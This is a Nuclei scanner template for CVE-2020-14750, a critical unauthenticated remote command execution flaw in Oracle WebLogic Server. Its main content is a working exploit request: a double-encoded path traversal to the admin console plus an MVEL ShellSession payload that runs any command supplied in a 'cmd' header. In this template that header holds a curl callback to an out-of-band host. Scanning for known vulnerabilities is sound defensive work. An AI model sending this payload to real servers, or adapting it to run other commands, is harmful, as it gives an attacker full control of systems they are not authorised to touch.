id: CVE-2020-14750 info: name: Oracle WebLogic Server - Remote Command Execution author: princechaddha,DhiyaneshDk severity: critical description: | Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update. reference: - https://github.com/pprietosanchez/CVE-2020-14750 - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750 - https://nvd.nist.gov/vuln/detail/CVE-2020-14750 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-14750 cpe: cpe:2.3:a:oracle:fusion_middleware:*:*:*:*:*:*:*:* epss-score: 0.97539 metadata: max-request: 1 shodan-query: http.html:"Weblogic Application Server" verified: "true" tags: cve,cve2020,rce,oracle,weblogic,unauth,kev http: - raw: - | @timeout: 10s POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: {{Hostname}} User-Agent: curl/7.79.1 Accept: */* cmd: curl {{interactsh-url}} Content-Type: application/x-www-form-urlencoded _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); res.getWriter().write(""); }executeThread.interrupt(); "); matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms DNS Interaction words: - "dns" - type: word part: header words: - "ADMINCONSOLESESSION=" - type: regex part: body regex: - '(.*)' # Enhanced by mp on 2022/10/06